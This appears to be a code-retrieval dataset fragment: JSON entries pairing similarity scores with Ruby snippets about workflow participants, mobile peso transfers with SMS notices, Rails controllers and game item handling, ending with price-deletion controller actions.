#{workitem.final_response}\"\n self.final_response[workitem.fei.workflow_instance_id.to_s] = workitem.process_message\n puts \"summary of process #{workitem.fei.workflow_instance_id}\"\n workitem.attributes.each do |k, v|\n # next unless k.match \".*_comment$\"\n puts \" - #{k} : '#{v}'\"\n end\n puts '<-------end of summary'\n end\n self.wfe_engine.register_participant :reverse_charges do |workitem|\n puts \"-----> reverse got a workitem...\"\n res=false\n if workitem.attributes['debit_result']=='true'\n value=1*workitem.peso_value.to_i+1\n res=self.billing_action('credit',workitem.debit_msisdn,value.to_s )\n puts \"return from reversing debit: #{res}\"\n end\n if workitem.attributes['credit_result']=='true'\n res= self.billing_action('debit',workitem.credit_msisdn,workitem.peso_value )\n puts \"return from reversing credit: #{res}\"\n end\n puts 'end of reverse charges'\n end\n self.wfe_engine.register_participant :process_failure do |workitem|\n puts \"----> process_failure got a workitem...\"\n res=false\n # res=send_sms(\"There was a problem with your request (process id:'#{workitem.fei.workflow_instance_id})'. Call *999 if you require further information\", workitem.source_msisdn, workitem.sms_source)\n puts \"<------ out of process failure\"\n end\n self.wfe_engine.register_participant :inform_success_pasa do |workitem|\n puts \"---->Inform_success_pasa got a workitem...\"\n res=true\n if workitem.final_response==\"all ok\"\n # res=send_sms(\"You have sent #{workitem.value} pesos to #{workitem.dest_msisdn}: (process id:'#{workitem.fei.workflow_instance_id})'\", workitem.source_msisdn, workitem.sms_source)\n res=send_sms(\"You have received #{workitem.value} pesos from #{workitem.source_msisdn}: To check your balance, text BAL to 991\", workitem.dest_msisdn,workitem.sms_source) and res\n #(process id:#{workitem.fei.workflow_instance_id})\n end\n puts \"<---- end inform_sucess\"\n res\n end\n self.wfe_engine.register_participant :inform_success_dispense_pin do |workitem|\n puts \"---->Inform_success_dispense_pin got a workitem...\"\n res=false\n if workitem.final_response==\"all ok\"\n res=send_sms(\"Your pin is #{workitem.loadvalue} via tracking process id:'#{workitem.fei.workflow_instance_id}'\", workitem.source_msisdn, workitem.sms_source)\n \n end\n puts \"<---- end inform_success_dispense_pin\"\n res\n end\n self.wfe_engine.register_participant :inform_success_load do |workitem|\n puts \"---->Inform_success_load got a workitem...\"\n res=false\n if workitem.final_response==\"all ok\"\n # res=send_sms(\"You have loaded #{workitem.loadvalue} pesos (process id: #{workitem.fei.workflow_instance_id})\", workitem.source_msisdn, workitem.sms_source)\n \n end\n puts \"<---- end inform_sucess\"\n res\n end\n self.wfe_engine.register_participant :inform_success do |workitem|\n puts \"Inform_success got a workitem...\"\n res=false\n if workitem.final_response==\"all ok\"\n res=send_sms(\"You have sent #{workitem.peso_value} peso to #{workitem.credit_msisdn}: (process id:'#{workitem.fei.workflow_instance_id}')\", workitem.debit_msisdn, workitem.sms_source)\n res=send_sms(\"You have received #{workitem.peso_value} pesos from #{workitem.debit_msisdn}: tracking process id:'#{workitem.fei.workflow_instance_id}' \",workitem.credit_msisdn,workitem.sms_source) and res\n end\n end\n \nend", "title": "" }, { "docid": "70c7a8af0177fff0a9ce80b25e469d97", "score": "0.5349723", "text": "def new_submission?(item)\n !existing_entry?(item)\n end", "title": "" }, { "docid": "292489a4b0652fe834ebc610de9825ab", "score": "0.534814", "text": "def attending?(exerciseclass)\n \texerciseclass.participants.include?(self)\n \tend", "title": "" }, { "docid": "6275db86cd0b0a959c4145722003835a", "score": "0.53428465", "text": "def watch_item\n\t\t# determine watcher, item to watch\n\t\t@watcher = current_user\n\t\t@item = Item.find(params[:id])\n\t\texist = Watch.find(:first, :conditions => {:watcher_id => @watcher.id, :item_id => @item.id})\n\n\t\t# if it exists and is not closed\n\t\tif !exist && !@item.closed\n\t\t\t# build the relationship between item and watcher\n\t\t\t@watch = @watcher.watches.build(:watcher_id => @watcher.id, :item_id => @item.id)\n\t\t\t@watch.save\n\t\t\t# show pop up regarding watch success\n\t\t\tgflash :success => \"You are now watching #{@item.name}!\"\n\t\telsif @item.closed\n\t\t\tgflash :error => \"Can not watch this auction!\"\n\t\telse\n\t\t\tgflash :error => \"You are already watching #{@item.name}!\"\n\t\tend\n\t\tredirect_to :controller => 'items', :action => 'show', :id => @item.id\n\tend", "title": "" }, { "docid": "b7fd843714e1e30f79ab38ef1dca6230", "score": "0.53209597", "text": "def do_dispatch(participant, msg)\n\n workitem = Ruote::Workitem.new(msg['workitem'])\n\n workitem.fields['dispatched_at'] = Ruote.now_to_utc_s\n\n participant.consume(workitem)\n\n @context.storage.put_msg(\n 'dispatched',\n 'fei' => msg['fei'],\n 'participant_name' => workitem.participant_name)\n # once the consume is done, asynchronously flag the\n # participant expression as 'dispatched'\n end", "title": "" }, { "docid": "ecd0b84d81d736f4ed60b6944d804b13", "score": "0.53194433", "text": "def update_item\n self.item.update_complete\n end", "title": "" }, { "docid": "7f3008e161a5d473a438a287d30993c4", "score": "0.5315093", "text": "def workitem\n Workitem.new(@flow_expression.applied_workitem)\n end", "title": "" }, { "docid": "53810be240afd91bb80fd5b0b4d77b51", "score": "0.52847964", "text": "def published_work?\n true\n end", "title": "" }, { "docid": "3b697e8b9c776451eaa2cb5216357087", "score": "0.5284168", "text": "def enable?(item)\n true#$game_party.usable?(item)\n end", "title": "" }, { "docid": "db027162658b47b70a0a647ca5e92317", "score": "0.52616185", "text": "def item_ok?\n return true if MAP_ITEM_ID == 0\n $game_party.has_item?($data_items[MAP_ITEM_ID])\n end", "title": "" }, { "docid": "c6573208fecd88019a4db820e76a6ec9", "score": "0.52543116", "text": "def reply_to_engine (workitem)\n\n super(workitem.as_owfe_workitem)\n #\n # replies to the workflow engine\n\n workitem.destroy\n #\n # removes the workitem from the database\n end", "title": "" }, { "docid": "30a45f4f72105f913ae3e6ce97050f3e", "score": "0.5247884", "text": "def new_submission?(item = nil)\n # noinspection RubyMismatchedArgumentType\n super(item || self)\n end", "title": "" }, { "docid": "403026049b3145e49125c96992b0a06e", "score": "0.5239048", "text": "def set_needed_item\n @needed_item = NeededItem.find(params[:id])\n end", "title": "" }, { "docid": "20a8dfb81a37390e3ac0ccae06f8ad43", "score": "0.5238473", "text": "def on_item_ok\n return back_to_items if (item = @item_window.item).nil?\n $game_party.lose_item(item, 1)\n @unit_item_list.tb_unit.gain_item(item, 1)\n TactBattleManager.store_unit_item(@actor.id, item)\n back_to_items\n end", "title": "" }, { "docid": "2dd2fd8f350c24c65214548c7020664a", "score": "0.5229788", "text": "def apply (workitem)\n\n get_parent.reply(workitem) if @parent_id\n end", "title": "" }, { "docid": "bca10591f28dc6d7cf5f9b5cc38bcf21", "score": "0.5228787", "text": "def work_joule_func\n \t#Exercise.find(exercise_id).work_joule(weight_additional_kg)\n work_joule=1\n end", "title": "" }, { "docid": "3d7cee21e7f9cfef1e5cf8a465d7570a", "score": "0.52270496", "text": "def add_to_database\n Partner.add({\"assignment_id\" => \"#{self.assignment_id}\", \"name_worked\" => \"#{self.name_worked}\"})\n end", "title": "" }, { "docid": "d124e4c20808ba91d9ddf1d0ecf902f6", "score": "0.5222199", "text": "def workitems\n\n @expressions.select { |fexp|\n #fexp.is_a?(Ruote::Exp::ParticipantExpression)\n fexp.h.name == 'participant'\n }.collect { |fexp|\n Ruote::Workitem.new(fexp.h.applied_workitem)\n }\n end", "title": "" }, { "docid": "fae6628b210a02f0ec3cd7d0f38000ca", "score": "0.52111024", "text": "def reply(workitem)\n\n puts '-' * 80\n puts '*** WARNING : please use the Ruote::StorageParticipant#proceed(wi)'\n puts ' instead of #reply(wi) which is deprecated'\n #caller.each { |l| puts l }\n puts '-' * 80\n\n proceed(workitem)\n end", "title": "" }, { "docid": "69fd492e5fea299307de3576c143010b", "score": "0.5203309", "text": "def include?(item)\r\n $game_party.usable?(item)\r\n end", "title": "" }, { "docid": "b9370851af0bc260a5ad607ba2d60370", "score": "0.5193316", "text": "def in_process?(item = nil)\n # noinspection RubyMismatchedArgumentType\n super(item || self)\n end", "title": "" }, { "docid": "7b4881025e2eb0d1090c6f83b987c038", "score": "0.51902306", "text": "def do_homework\n return if backlog.empty?\n\n current_homework = backlog.delete_at(0)\n current_homework.status = 'done'\n puts \"Student #{surname}: I have done my homework #{current_homework.title}\"\n homeworks << current_homework\n notify(current_homework)\n end", "title": "" }, { "docid": "8a884d3a5d00394c9aceb6a020f166f9", "score": "0.5188278", "text": "def reply_to_parent(workitem)\n\n @context.tracker.remove_tracker(h.fei)\n\n super(workitem)\n end", "title": "" }, { "docid": "843db1430ef3fa6a504c8dfd92991e67", "score": "0.5179786", "text": "def item\n\t\tself.bmet_work_order.bmet_item\n\tend", "title": "" }, { "docid": "df0ccc16755fdd2c3bd7f70f27e5d78a", "score": "0.5173071", "text": "def fetch(workitem_or_fei)\n\n hfei = Ruote::FlowExpressionId.extract_h(workitem_or_fei)\n\n @context.storage.get('workitems', to_id(hfei))\n end", "title": "" }, { "docid": "dd9537ea7916cc3c83456c74b2bc10e2", "score": "0.51675564", "text": "def has_awaiting_picked_meeting?\n !completed? && self.notifications.last.is_a?(::Users::Notifications::TradePickedMeeting)\n end", "title": "" }, { "docid": "28c461e9e7243524e5d3c3ecfc96b41c", "score": "0.5160812", "text": "def applied_workitem\n\n @awi ||= Ruote::Workitem.new(h.applied_workitem)\n end", "title": "" }, { "docid": "e62c90d82800f1be59ab1fa08233284f", "score": "0.51474345", "text": "def applied_workitem(_fei=nil)\n\n fetch_workitem(_fei || fei)\n end", "title": "" }, { "docid": "fe26718953a76b6e0fae8fffa5c0f9e3", "score": "0.51404554", "text": "def pickup_item\n if status == :confirmed \n transaction do\n update(:status => :in_progress)\n # Create newsfeed\n ::Yito::Model::Newsfeed::Newsfeed.create(category: 'booking',\n action: 'pickup_item',\n identifier: self.id.to_s,\n description: BookingDataSystem.r18n.t.picked_up_item)\n end \n end\n self\n end", "title": "" }, { "docid": "7473e2de3442c0a2ab2ff7396d69d078", "score": "0.5129233", "text": "def workitem(fei=nil)\n\n return fetch_workitem(fei) if fei\n\n @workitem ? @workitem : applied_workitem\n end", "title": "" }, { "docid": "3301f9ef37a2565e2ebfa111d11751fe", "score": "0.5125952", "text": "def is_experiment_completed?(_experiment) # rubocop:todo Naming/PredicateName\n raise \"Not implemented\"\n end", "title": "" }, { "docid": "c4710bdad41fa91e9d776ac0bdca841e", "score": "0.5110082", "text": "def find_work\n\n end", "title": "" }, { "docid": "9ca6fc636f527a53a074d1d63d3bac26", "score": "0.5104213", "text": "def interesting_item?(item)\n item.rack_id == rack_id\n end", "title": "" }, { "docid": "d491f157c333859575aa5b2c820fa8de", "score": "0.5103857", "text": "def decode_workitem( email )\n ldebug { \"decoding workitem from: #{email}\" }\n analysis_error_response( email )\n arwi_id = get_arwi_id_for_decode( email )\n puts \"listener got arwi:#{arwi_id}\"\n return unless arwi_id && arwi_id.to_s.size > 0\n workitem = MailItem.get_workitem( arwi_id, 'delete', \"listener\" )\n puts \"listener can not got workitem for arwi:#{arwi_id}\" unless workitem\n return unless workitem\n puts \"listener got wi:#{workitem.class}, #{workitem}\"\n workitem[\"attachment\"] = email[:attachment]\n workitem[\"email_from\"] = email[:from].join(',')\n begin\n SMOperation.build( email, workitem )\n email[:subject] = Kconv.toutf8(email[:subject])\n # _ps_type = $1 if /\\+([a-z]+)?_?([\\d]+)@/ =~ email[:to]\n # step = SMSpreadsheet.get_stepname_from_spreadsheet( workitem.fei.wfname, _ps_type )\n event = Hash.new\n event[:title] = \"#{email[:subject]}\"\n event[:desc] = \"#{email[:body]}\"\n calendar_name = workitem.fields['user_name'] || 'default'\n SMGoogleCalendar.create_event( event, calendar_name )\n rescue Exception => e\n puts \"decode_workitem error: #{e.message}\"\n end\n print \"#{@blue_underline}3.listener processed workitem:#{@normal} #{workitem}\\n\"\n workitem\n end", "title": "" }, { "docid": "ba1f127af51a85a1138e6164abd48dfa", "score": "0.5099615", "text": "def do_raw_dispatch(participant, msg)\n\n workitem = Ruote::Workitem.new(msg['workitem'])\n\n workitem.fields['dispatched_at'] = Ruote.now_to_utc_s\n\n Ruote.participant_send(\n participant, [ :on_workitem, :consume ], 'workitem' => workitem)\n\n @context.storage.put_msg(\n 'dispatched',\n 'fei' => msg['fei'],\n 'participant_name' => workitem.participant_name,\n 'workitem' => msg['workitem'])\n # once the consume is done, asynchronously flag the\n # participant expression as 'dispatched'\n end", "title": "" }, { "docid": "098382762fa8ad449b8bc5a34416a3b9", "score": "0.50876105", "text": "def ab_add_participant(_experiment, _alternative, _identity)\n raise \"Not implemented\"\n end", "title": "" }, { "docid": "d741e52e6a91fd9e66a4a4bbfbe3ad25", "score": "0.5081251", "text": "def has_work?\n how_much_more_work > 0\n end", "title": "" }, { "docid": "5469c19ecf56fbeadf3feeb273c4514c", "score": "0.5074848", "text": "def prepare\n [ \"alpha\", \"bravo\", \"charly\" ].each do |name|\n\n @engine.register_participant(name) do |workitem|\n\n workitem.attributes[name] = true\n workitem.attributes[\"key\"] = name\n end\n end\n\n #@engine.register_participant(\"display_workitem\") do |workitem|\n # puts\n # puts\n #end\n end", "title": "" }, { "docid": "ddb41700b6b872d5a3e3252d489b6524", "score": "0.50668085", "text": "def have_piece(piece)\n queue_message(:have, {:index => piece.index})\n end", "title": "" }, { "docid": "9e162ecf776b831e77289d31ec3ff9c4", "score": "0.5058319", "text": "def check_for_new_specification\n\n stored_task = EcoTask.find(self.id) if self.id\n changed = self != stored_task if stored_task\n\n if self.specification_identified?\n \n if self.id\n # Set the creation time if a new document link as provided\n if (!self.document_link.blank? &&\n (self.document_link != stored_task.document_link) ||\n self.started_at == nil )\n self.started_at = Time.now\n end\n else\n self.started_at = Time.now\n end\n end\n\n if stored_task \n if !stored_task.completed? && self.completed?\n self.completed_at = Time.now\n state_change = 'Task Completed'\n elsif !stored_task.closed? && self.closed?\n self.closed_at = Time.now\n state_change = 'Task Closed'\n elsif stored_task.closed? && !self.closed?\n state_change = 'Task Reopened'\n elsif stored_task.completed? && !self.completed?\n state_change = 'Task Incomplete - Needs more work/input'\n end\n if state_change\n self.eco_comments << EcoComment.new( :user_id => self.get_user.id, \n :comment => 'STATUS CHANGE: ' + state_change)\n end\n end\n \n end", "title": "" }, { "docid": "2425eca7c8bd519785a58cb0d95abab3", "score": "0.50350386", "text": "def pick_up(item_name)\n if current_room.has_item(item_name)\n item = current_room.items.find { |thing| thing.name == item_name }\n @player.add_to_inventory(item)\n current_room.remove_one(item)\n else\n puts \"Sorry, that item is not in this room. Try again.\"\n end\n end", "title": "" }, { "docid": "b910f300fc0a0ef3ee88916b819245ff", "score": "0.5034889", "text": "def completed?(item = nil)\n # noinspection RubyMismatchedArgumentType\n super(item || self)\n end", "title": "" }, { "docid": "0944010a69cca8de1ac19e9fc551c44f", "score": "0.50282323", "text": "def lookup_info(pname, workitem)\n\n return nil unless pname\n\n wi = workitem ?\n Ruote::Workitem.new(workitem.merge('participant_name' => pname)) :\n nil\n\n get_list['list'].each do |regex, pinfo|\n\n next unless pname.match(regex)\n\n return pinfo if workitem.nil?\n\n pa = instantiate(pinfo, :if_respond_to? => :accept?)\n\n return pinfo if pa.nil?\n return pinfo if Ruote.participant_send(pa, :accept?, 'workitem' => wi)\n end\n\n # nothing found...\n\n nil\n end", "title": "" }, { "docid": "2572d8824cf60a898031f7baad13c7b0", "score": "0.5025054", "text": "def existing_entry?(item)\n state_value(item) == :completed\n end", "title": "" }, { "docid": "699adde5920e31d7fe352776d139918c", "score": "0.501541", "text": "def consume (workitem)\n\n reply_to_engine(workitem)\n end", "title": "" }, { "docid": "67fe2a82dde450063dd27142d13cbd68", "score": "0.5002588", "text": "def _on_reply(wi)\n Ruote.participant_send(self, :on_reply, 'workitem' => wi)\n end", "title": "" }, { "docid": "0eddd97107ad2b5f9efba304c22aaf7d", "score": "0.49932605", "text": "def process_work(work)\n update_related_url(work) unless (work.related_url & @keys_to_check_for).empty?\n end", "title": "" }, { "docid": "b302ddc5427e5ed6bfd92e9e2bfe3b4e", "score": "0.4991849", "text": "def change_item_set?\n self.change_item\n end", "title": "" }, { "docid": "ca7e07c4713057162e2541e2a06ec736", "score": "0.4991302", "text": "def is_participant?(participant)\n return false if participant.nil?\n return self.receipts_for(participant).count != 0\n end", "title": "" }, { "docid": "e074b7bf961084a55101bfaec95ff48c", "score": "0.49908084", "text": "def update_work_order_on_create\n _ok = true\n if !work_order.blank?\n _woi = WorkOrderItem.new(work_order_id: work_order_id, product_id: product_id, description: description,\n quantity: quantity, cost: cost, price: price, tax_type_id: tax_type_id,\n store_id: store_id, charge_account_id: charge_account_id, delivery_note_item_id: id,\n created_by: delivery_note.created_by)\n if !_woi.save\n _ok = false\n else\n # Update totals\n update_work_order_totals(work_order_id)\n end\n end\n _ok\n end", "title": "" }, { "docid": "ef6ed4feebac19ac29aefced009e6270", "score": "0.49877712", "text": "def in_process?(item)\n item = state_group(item)\n being_submitted?(item) || being_indexed?(item)\n end", "title": "" }, { "docid": "090da63a12d3e5154bdd171e2a4a14ab", "score": "0.49852782", "text": "def reply (workitem)\n\n reply_to_parent(workitem)\n end", "title": "" }, { "docid": "090da63a12d3e5154bdd171e2a4a14ab", "score": "0.49852782", "text": "def reply (workitem)\n\n reply_to_parent(workitem)\n end", "title": "" }, { "docid": "0c6ff5f92cf92cfd660db4af73928cca", "score": "0.49804625", "text": "def create\n\n #@workitem = Workitem.new(workitem_params)\n @workitem.user_id = current_user.id\n\n respond_to do |format|\n if @workitem.save\n format.html { redirect_to @workitem, notice: 'Workitem was successfully created.' }\n format.json { render action: 'show', status: :created, location: @workitem }\n else\n format.html { render action: 'new' }\n format.json { render json: @workitem.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e110f0ef0baf360384f1dbb705b1cfb", "score": "0.49673575", "text": "def do_not_thread(participant, msg)\n\n return false unless participant.respond_to?(:do_not_thread)\n\n if participant.method(:do_not_thread).arity == 0\n participant.do_not_thread\n else\n participant.do_not_thread(Ruote::Workitem.new(msg['workitem']))\n end\n end", "title": "" }, { "docid": "402464bd1894f5943dba31e25090bcca", "score": "0.49616677", "text": "def util_item_open_party_sequence(item, extend_data, result_process)\n call_scene(GamePlay::Party_Menu, @team || $actors, :item, extend_data, no_leave: false) do |scene|\n if $game_temp.in_battle && scene.return_data != -1\n @return_data = [item.id, extend_data, scene.return_data]\n @running = false\n next\n end\n $bag.remove_item(item.id, 1) if item.limited && scene.return_data != -1\n result_process&.call\n end\n return false unless @running\n\n return extend_data\n end", "title": "" }, { "docid": "c2436334d6bf2a8a49e126f092ef340b", "score": "0.496085", "text": "def incomplete!\n self.update_attribute(:is_completed, false)\n # TODO: send an email to teacher about tasks reopening\n end", "title": "" }, { "docid": "538d1318ba5842da1d77d7ec575e3a57", "score": "0.4959436", "text": "def reply(workitem)\n\n reply_to_parent(workitem)\n end", "title": "" }, { "docid": "d4f7323afa3e80bfe7656c60b9bba5bf", "score": "0.49561062", "text": "def consume (workitem)\n\n workitem.attributes['compact_workitems'] = true if compact_workitems\n\n Workitem.from_owfe_workitem workitem\n # does the 'saving to db'\n end", "title": "" }, { "docid": "2af6fe0f89b024b16ee12eb61bb4a056", "score": "0.4932091", "text": "def process(notification_item)\n return false unless can_process?(notification_item)\n\n event = notification_item.obj\n user = notification_item.subj\n \n event.invitees.each do |u|\n UserMailer.delay.event_rescheduled(event.id, u.id, user.id)\n u.mailbox.deliver_message(nil, u, notification_item, UserMailer.name, 'event_rescheduled')\n end\n \n true\n end", "title": "" }, { "docid": "87bb8a1d744320f565220fbca3f35d05", "score": "0.49312815", "text": "def _dont_thread?(wi)\n Ruote.participant_send(\n self,\n [ :dont_thread?, :do_not_thread?, :do_not_thread ],\n 'workitem' => wi)\n end", "title": "" }, { "docid": "dd42a594b3d8da153fb72a69ae131505", "score": "0.49265504", "text": "def update_work_unassigned_doi_callback(work )\n print \".\"\n if work.identifier.blank? == true\n update_work_doi_callback(work )\n end\n end", "title": "" }, { "docid": "4a7c81e420391d7dd149411d653aac1e", "score": "0.49237007", "text": "def reply (workitem)\n\n @items.delete(workitem.fei.to_storage_id)\n reply_to_engine(workitem)\n end", "title": "" }, { "docid": "021ba6a28a33c04527a656e194cfb589", "score": "0.49212158", "text": "def reply_to_parent (workitem)\n\n get_expression_pool.reply_to_parent(self, workitem)\n end", "title": "" }, { "docid": "8b24f15ea982bed426ac922a018409fd", "score": "0.49161702", "text": "def do_update(workitem=@workitem)\n\n r = update(workitem)\n\n fail ArgumentError.new(\"workitem is gone\") if r == true\n return nil if r.nil?\n\n r.h['fields'] = workitem.fields\n do_update(r)\n end", "title": "" }, { "docid": "c6978e6e17dd17678cb48565912d4434", "score": "0.49129668", "text": "def set_work_item_type\n @work_item_type = WorkItemType.find(params[:id])\n end", "title": "" }, { "docid": "5ddf8d90927d1c52eca7116e394ad4a6", "score": "0.49057606", "text": "def item_usable?\n return false unless @item\n return @actor ? @actor.usable?(@item) : $game_player.usable?(@item)\n end", "title": "" }, { "docid": "5949edc63433462f2ac5491c03c72963", "score": "0.49045438", "text": "def notify\n if self.recruitment.first_notify.present?\n self.recruitment.unset(:first_notify)\n MemberMailerWorker.perform_async(member_id: self.recruitment.member.id.to_s, recruitment_application_id: self.id.to_s, perform: :send_new_recruitment_application)\n TeamMailerWorker.perform_async(recruitment_application_id: self.id.to_s, perform: :send_new_recruitment_application)\n end\n end", "title": "" }, { "docid": "7f009b484745e1bb890376e11cfb404d", "score": "0.49004683", "text": "def set_pending\n item = SharedItem.find_by(name: params[:name], user_id: current_user.id, pending: false)\n if item\n item.update(pending: true)\n redirect_to current_user\n else\n redirect_to current_user, notice: \"Item could not be found.\"\n end\n end", "title": "" }, { "docid": "c761158140155133640c2a04e2123afa", "score": "0.4894479", "text": "def being_submitted?(item = nil)\n # noinspection RubyMismatchedArgumentType\n super(item || self)\n end", "title": "" }, { "docid": "6d457fdd6079cf51678bfb579191684c", "score": "0.48926666", "text": "def do_work\n end", "title": "" }, { "docid": "76117fca3321fd0f29680ae9fa9a1cbd", "score": "0.48914272", "text": "def participant?\n !participant.nil?\n end", "title": "" }, { "docid": "6e560ca7fbdaf9103229ab371d4bfbe0", "score": "0.48879004", "text": "def to_be_performed?\n self.research_billing_qty > 0\n end", "title": "" }, { "docid": "19a65dfb0288696e9654d327c6043273", "score": "0.48869634", "text": "def on_item_ok; item_ok(@item_window, @trade_win1, @tb_unit); end", "title": "" }, { "docid": "891cbfaba8a492f71b500e4c4c68d405", "score": "0.48865354", "text": "def item_add item\n\t\tret = super\n\t\titem.known! if (ret)\n\t\treturn ret\n\tend", "title": "" }, { "docid": "e284173b923c300ad7f083a33465a1c2", "score": "0.48849976", "text": "def set_bought_item\n @bought_item = BoughtItem.find(params[:id])\n end", "title": "" }, { "docid": "9cd9b8526ea054ea43e15e45e720633e", "score": "0.48825878", "text": "def experiment_applied\n application = Application.first\n ParticipantMailer.experiment_applied(application.participant, [application.schedule])\n end", "title": "" }, { "docid": "08c482c32282ca495de0279b46b70f80", "score": "0.48825487", "text": "def being_created?(item = nil)\n # noinspection RubyMismatchedArgumentType\n super(item || self)\n end", "title": "" }, { "docid": "21c2d8f473a9de2e282567bf9b09c6fe", "score": "0.4882262", "text": "def set_pending_work\n @pending_work = PendingWork.find(params[:id])\n end", "title": "" }, { "docid": "c9b72de55efc07ee06561c82702270c7", "score": "0.48813614", "text": "def check_completed\n\t\tend", "title": "" } ]
c7e8bc03d49c911b12448f425268b1b6
DELETE /admin/selling/config/prices/1 DELETE /admin/selling/config/prices/1.json
[ { "docid": "3aa20286e55c2837a01f1a956a568c30", "score": "0.6986639", "text": "def destroy\n @admin_selling_config_price.destroy\n respond_to do |format|\n format.html { redirect_to admin_furniture_furnitures_path, notice: mk_notice(@admin_selling_config_price, @furniture.name, 'تنظیمات قیمت‌گذاری', :destroy) }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "b8804644d778ef9138b03908809f3262", "score": "0.6972842", "text": "def destroy\n @admin_price = Admin::Price.find(params[:id])\n @admin_price.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_prices_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0a5094a1f78f9d497788243d15268456", "score": "0.68013036", "text": "def destroy\n @price.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_area_prices_url, notice: 'Период успешно удален.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "727a5cb4136323f0f42411ac893e08c8", "score": "0.67864305", "text": "def destroy\n @default_price = DefaultPrice.find(params[:id])\n @default_price.destroy\n\n respond_to do |format|\n format.html { redirect_to default_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a340c99b1b24689abddcc4da216c95d2", "score": "0.6750802", "text": "def destroy\n @quoted_price = QuotedPrice.find(params[:id])\n @quoted_price.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_quoted_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0517d1a3b881fd2fc4f846a952840bde", "score": "0.67153937", "text": "def destroy\n @price.destroy\n respond_to do |format|\n format.html { redirect_to prices_url, notice: '' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b88e228b571ecf1c09794ef0239c4db4", "score": "0.6707701", "text": "def destroy\n @price.destroy\n respond_to do |format|\n format.html { redirect_to sample_prices_path, notice: 'Price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3448c89a532325ce318a0d2120c253bf", "score": "0.67040485", "text": "def destroy\n @price = Price.find(params[:id])\n @price.destroy\n\n respond_to do |format|\n format.html { redirect_to prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3448c89a532325ce318a0d2120c253bf", "score": "0.67040485", "text": "def destroy\n @price = Price.find(params[:id])\n @price.destroy\n\n respond_to do |format|\n format.html { redirect_to prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1d7e64f736e4cd598d766bc8e8e96df1", "score": "0.6645722", "text": "def destroy\n @prices = Prices.find(params[:id])\n @prices.destroy\n\n respond_to do |format|\n format.html { redirect_to(prices_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fe1a37442d866661e5ea208a8533a2b9", "score": "0.6645038", "text": "def destroy\n @product_price.destroy\n respond_to do |format|\n format.html { redirect_to(admin_product_prices_url) }\n end\n website.add_log(user: current_user, action: \"Deleted pricing: #{@product_price.product.name}\")\n end", "title": "" }, { "docid": "fe1a37442d866661e5ea208a8533a2b9", "score": "0.6645038", "text": "def destroy\n @product_price.destroy\n respond_to do |format|\n format.html { redirect_to(admin_product_prices_url) }\n end\n website.add_log(user: current_user, action: \"Deleted pricing: #{@product_price.product.name}\")\n end", "title": "" }, { "docid": "3177f1b12b1ce60d34dda67358511ffd", "score": "0.6640244", "text": "def destroy\n @price_master.destroy\n respond_to do |format|\n format.html { redirect_to price_masters_url, notice: DELETE_NOTICE }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b4e05e3052e27027a7152434ef3428bd", "score": "0.6636239", "text": "def destroy\n @admin_selling_config_piece_price.destroy\n respond_to do |format|\n format.html { redirect_to admin_selling_config_piece_prices_path, notice: mk_notice(@admin_selling_config_piece_price, :id, 'داده‌ی شماره', :destroy) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d0431dfb677ecb048b82756767e349b3", "score": "0.6623984", "text": "def destroy\n @set_price = SetPrice.find(params[:id])\n @set_price.destroy\n\n respond_to do |format|\n format.html { redirect_to set_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cfe489922623493d11ae7e340fabc4a4", "score": "0.662343", "text": "def destroy\n @realtime_price.destroy\n respond_to do |format|\n format.html { redirect_to realtime_prices_url, notice: 'Realtime price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c12d1ae42d08d3f8e2470a99060cd84c", "score": "0.6618952", "text": "def destroy\n @rackprice = Rackprice.find(params[:id])\n @rackprice.destroy\n\n respond_to do |format|\n format.html { redirect_to rackprices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0d21af8b06d2ad3643f3a2d08d4a7e8f", "score": "0.6613467", "text": "def destroy\n @list_price.destroy\n respond_to do |format|\n format.html { redirect_to list_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "849e82f65076fecb0d4e76176fc8aa24", "score": "0.6607817", "text": "def destroy\n @salon.prices.each do |price|\n price.destroy\n end\n @salon.destroy\n respond_to do |format|\n format.html { redirect_to salons_url, notice: 'Salon was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "168577f94fce14b048e8ddcae2d78a8a", "score": "0.65997934", "text": "def destroy\n @advicepost_price = AdvicepostPrice.find(params[:id])\n @advicepost_price.destroy\n\n respond_to do |format|\n format.html { redirect_to advicepost_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2efe7772808f0e3991c6285a7a70189f", "score": "0.6597392", "text": "def destroy\n @item_price = ItemPrice.find(params[:id])\n @item_price.destroy\n\n respond_to do |format|\n format.html { redirect_to item_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6e23bfa63b2d7e1259e2a4ce613694d0", "score": "0.65810573", "text": "def destroy\n @product_price.destroy\n respond_to do |format|\n format.html { redirect_to product_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6f8e9e193f64353245cb519059152653", "score": "0.65670437", "text": "def destroy\n @gt_price.destroy\n respond_to do |format|\n format.html { redirect_to gt_prices_url, notice: 'Gt price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4f16ac17ba44fef44132b960e812ecf0", "score": "0.6564987", "text": "def destroy\n @price_type.destroy\n respond_to do |format|\n format.html { redirect_to admin_price_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": 